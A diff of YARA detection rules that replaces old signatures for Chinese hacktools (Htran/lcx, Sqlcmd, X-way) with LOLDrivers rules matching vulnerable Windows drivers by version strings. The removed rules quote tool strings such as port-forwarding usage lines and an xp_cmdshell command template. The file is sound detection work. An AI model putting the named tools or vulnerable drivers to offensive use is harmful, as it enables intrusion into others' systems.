+		logic_hash = "33238c8b189c5aabe45b238a44fde02b6f9436329c8700ff5b64505784438e69"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\\Device\\devIdtTool" wide
-		$s1 = "IoDeleteSymbolicLink" fullword ascii
-		$s3 = "IoDeleteDevice" fullword ascii
-		$s6 = "IoCreateSymbolicLink" fullword ascii
-		$s7 = "IoCreateDevice" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200035 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760069007200610067007400360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000310031002c002000320030003100330020002d0020007700770077002e007400670073006f00660074002e00690074 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <7KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Hkmjjiis6 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrcodenamelonghornddkprovider_Cpudriver_Windowsrcodenamelonghornddkdriver_159E : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file hkmjjiis6.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9618c6ec-1557-5b1b-bebc-1c220bb3aba4"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1337-L1358"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4cbc6344c6712fa819683a4bd7b53f78ea4047d7"
-		logic_hash = "4ea95b7a5bd24e0dfdcef045d101b7f15e18b20f1328901bb340d9aaad336981"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WCPU.sys"
+		author = "Florian Roth"
+		id = "4ca1b53c-7539-5e0e-8309-224a4a859480"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10239-L10258"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "159e7c5a12157af92e0d14a0d3ea116f91c09e21a9831486e6dc592c93c10980"
+		logic_hash = "e4bcd8644bcc82c63d9d963aeb9a0a4250d8b3be3fb1122156148f4582fe6d48"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "comspec" fullword ascii
-		$s2 = "user32.dlly" ascii
-		$s3 = "runtime error" ascii
-		$s4 = "WinSta0\\Defau" ascii
-		$s5 = "AppIDFlags" fullword ascii
-		$s6 = "GetLag" fullword ascii
-		$s7 = "* FROM IIsWebInfo" ascii
-		$s8 = "wmiprvse.exe" ascii
-		$s9 = "LookupAcc" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041005300550053002000540044004500200043005000550020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e003100360033003800360020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e00310036003300380036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043005000550020004400720069007600650072 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043005000550020004400720069007600650072 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020006200790020004100530055005300540065006b00200043004f004d0050005500540045005200200049004e0043002e00200032003000300036 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <70KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Dos_Lcx : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Proxydrvsys_Nn_0B20 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file lcx.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2f443673-bfed-5ce3-a0e6-6b59f27c9658"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1360-L1384"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b6ad5dd13592160d9f052bb47b0d6a87b80a406d"
-		logic_hash = "bbe215fb27825b4f4bbfa71808ac945f341efbc70a21f79689065982a843d7f1"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ProxyDrv.sys"
+		author = "Florian Roth"
+		id = "cf4d7446-a97e-58b5-aea7-c77516abacf5"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10261-L10280"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0b205838a8271daea89656b1ec7c5bb7244c42a8b8000d7697e92095da6b9b94"
+		logic_hash = "04460d4fa04b60519b0479baab3e07b389dfe255f43b3dcea3d13ca33dc84ded"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "c:\\Users\\careful_snow\\" ascii
-		$s1 = "Desktop\\Htran\\Release\\Htran.pdb" ascii
-		$s3 = "[SERVER]connection to %s:%d error" fullword ascii
-		$s4 = "-tran  <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
-		$s6 = "=========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url] " ascii
-		$s7 = "[-] There is a error...Create a new connection." fullword ascii
-		$s8 = "[+] Accept a Client on port %d from %s" fullword ascii
-		$s11 = "-slave  <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
-		$s13 = "[+] Make a Connection to %s:%d...." fullword ascii
-		$s16 = "-listen <ConnectPort> <TransmitPort>" fullword ascii
-		$s17 = "[+] Waiting another Client on port:%d...." fullword ascii
-		$s18 = "[+] Accept a Client on port %d from %s ......" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]96f7795e004e004e52a0901f5668002d9a7152a87a0b5e8f65874ef6 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]96f7795eff086b666c49ff097f517edc6280672f67099650516c53f8 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c0039002c0035002c00330020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035002e0031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500072006f00780079004400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]96f7795e004e004e52a0901f5668 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500072006f00780079004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000400020005700770077002e004e006e002e0043006f006d }
+
+	condition:
+		uint16(0)==0x5a4d and filesize <100KB and all of them
+}
+rule LOLDRIVERS_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_1DDF : FILE
+{
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		id = "54f03573-22a0-51ea-b3cd-201d27459cf1"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10283-L10302"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1ddfe4756f5db9fb319d6c6da9c41c588a729d9e7817190b027b38e9c076d219"
+		logic_hash = "23a5fb0826068df015769d604ff393d7d649b919efabd237a004c6946a358448"
+		score = 40
+		quality = 80
+		tags = "FILE"
+
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020004d006900630072006f002d005300740061007200200049004e00540027004c00200043004f002e002c0020004c00540044002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_X_Way2_5_X_Way : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_654C : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file X-way.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8e878671-2a7c-5c6e-a905-05d303f42e0f"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1386-L1407"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8ba8530fbda3e8342e8d4feabbf98c66a322dac6"
-		logic_hash = "6261de5db1e7527f7726effe26ed5f88638e6cb378db4c99183dddcd42ae231f"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "c2883a08-8832-514d-a472-e53370fe9a88"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10305-L10324"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "654c5ba47f74008c8f49cbb97988017eec8c898adc3bb851bc6e1fdf9dcf54ad"
+		logic_hash = "f494a64914971b82f191becf020023de1139e5f466e5c1db9912d1d1edbdd0f2"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "TTFTPSERVERFRM" fullword wide
-		$s1 = "TPORTSCANSETFRM" fullword wide
-		$s2 = "TIISSHELLFRM" fullword wide
-		$s3 = "TADVSCANSETFRM" fullword wide
-		$s4 = "ntwdblib.dll" fullword ascii
-		$s5 = "TSNIFFERFRM" fullword wide
-		$s6 = "TCRACKSETFRM" fullword wide
-		$s7 = "TCRACKFRM" fullword wide
-		$s8 = "dbnextrow" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0030002e0031003000370032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and 5 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Tools_Sqlcmd : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Marvintestsolutionsinc_Hwsys_Hw_FD38 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Sqlcmd.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "26e29826-d4bb-55d0-9331-a91e4473daca"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1409-L1428"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "99d56476e539750c599f76391d717c51c4955a33"
-		logic_hash = "aa600f7c56d72d767e9ca51d8b1ee2b2c62302ea1afbed39e4670debd30c5247"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HW.sys"
+		author = "Florian Roth"
+		id = "50ae31e8-41e0-5913-b04a-63b97aa9bbc2"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10327-L10347"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "fd388cf1df06d419b14dedbeb24c6f4dff37bea26018775f09d56b3067f0de2c"
+		hash = "6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5"
+		logic_hash = "9307a3f6003f6b88d4384aad37803597d7444bcfae806a9f3d59c9a1e59d56e5"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "[Usage]:  %s <HostName|IP> <UserName> <Password>" fullword ascii
-		$s1 = "=============By uhhuhy(Feb 18,2003) - http://www.cnhonker.net=============" fullword ascii
-		$s4 = "Cool! Connected to SQL server on %s successfully!" fullword ascii
-		$s5 = "EXEC master..xp_cmdshell \"%s\"" fullword ascii
-		$s6 = "=======================Sqlcmd v0.21 For HScan v1.20=======================" fullword ascii
-		$s10 = "Error,exit!" fullword ascii
-		$s11 = "Sqlcmd>" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570020002d002000570069006e0064006f007700730020004e0054002d00380020002800330032002f00360034002000620069007400290020006b00650072006e0065006c0020006d006f00640065002000640072006900760065007200200066006f007200200050004300200070006f007200740073002f006d0065006d006f00720079002f0050004300490020006100630063006500730073 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0038002e0032002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0038002e0032002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480077002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00480057 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00480057002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200031003900390036002d00320030003100350020004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <40KB and 3 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Sword1_5 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_6E0A : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Sword1.5.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dff8666a-0373-5605-9012-92b2b3ec71ea"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1430-L1449"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "96ee5c98e982aa8ed92cb4cedb85c7fda873740f"
-		logic_hash = "09e09f7ea16dc917388cbccb22a7abfed9b693a33d61698f0e838f029402c256"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "140374de-63f5-5ea2-9546-9356d697f971"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10350-L10369"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6e0aa67cfdbe27a059cbd066443337f81c5b6d37444d14792d1c765d9d122dcf"
+		logic_hash = "79370b21c6049790a259feebf590222ef8c57bb1564401d68a960ae2c547639a"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "http://www.ip138.com/ip2city.asp" fullword wide
-		$s4 = "http://www.md5decrypter.co.uk/feed/api.aspx?" fullword wide
-		$s6 = "ListBox_Command" fullword wide
-		$s13 = "md=7fef6171469e80d32c0559f88b377245&submit=MD5+Crack" fullword wide
-		$s18 = "\\Set.ini" wide
-		$s19 = "OpenFileDialog1" fullword wide
-		$s20 = " (*.txt)|*.txt" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0036002e0034003200330035002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0036002e0034003200330035002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and 4 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Tools_Scan : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_A2F4 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file scan.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4601d4d0-2b7e-5937-87b6-df80ab373752"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1451-L1466"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c580a0cc41997e840d2c0f83962e7f8b636a5a13"
-		logic_hash = "d8bf2e4a4634f74ce548a5824090502f2ccef382bdbcaf795df711e88a325912"
-		score = 75
-		quality = 81
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "c7b13c18-84a2-5362-bd10-a80c001c6efc"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10372-L10391"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "a2f45d95d54f4e110b577e621fefa0483fa0e3dcca14c500c298fb9209e491c1"
+		logic_hash = "7fc1a629395b0558eecf2744dcb121a5b2cdbd51f4291a679f9526f21c4f21c0"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "Shanlu Studio" fullword wide
-		$s3 = "_AutoAttackMain" fullword ascii
-		$s4 = "_frmIpToAddr" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0032002e0034003100380031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0032002e0034003100380031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Dos_C : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Advancedmicrodevices_Aoddriversys_Amdoverdriveservicedriver_81D5 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file c.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2e8319de-fe54-5083-968c-4707d127f072"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1468-L1487"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3deb6bd52fdac6d5a3e9a91c585d67820ab4df78"
-		logic_hash = "2865b50e6a323462fab39bd84571939c618cf6f00e147039f6e699ba4d195a00"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AODDriver.sys"
+		author = "Florian Roth"
+		id = "8ad51684-d220-51ff-ab94-3a4326f514ab"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10394-L10413"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "81d54ebef1716e195955046ffded498a5a7e325bf83e7847893aa3b0b3776d05"
+		logic_hash = "fc91d46473eecbc49e074df0c05a1dfee352d3607f9393a6836e37a1c071bdf6"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "!Win32 .EXE." fullword ascii
-		$s1 = ".MPRESS1" fullword ascii
-		$s2 = ".MPRESS2" fullword ascii
-		$s3 = "XOLEHLP.dll" fullword ascii
-		$s4 = "</body></html>" fullword ascii
-		$s8 = "DtcGetTransactionManagerExA" fullword ascii
-		$s9 = "GetUserNameA" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d00440020004f00760065007200440072006900760065002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0032002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0032002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004f0044004400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d00440020004f00760065007200440072006900760065002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004f0044004400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020003200300031003000200041004d0044002c00200049006e0063002e }
 
 	condition:
 		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Arpsniffer : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realixtm_Hwinfosys_Hwinfokerneldriver_EC9B : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file arpsniffer.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "78db3b18-008a-5a4e-9504-0cbe3b852046"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1489-L1506"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7d8753f56fc48413fc68102cff34b6583cb0066c"
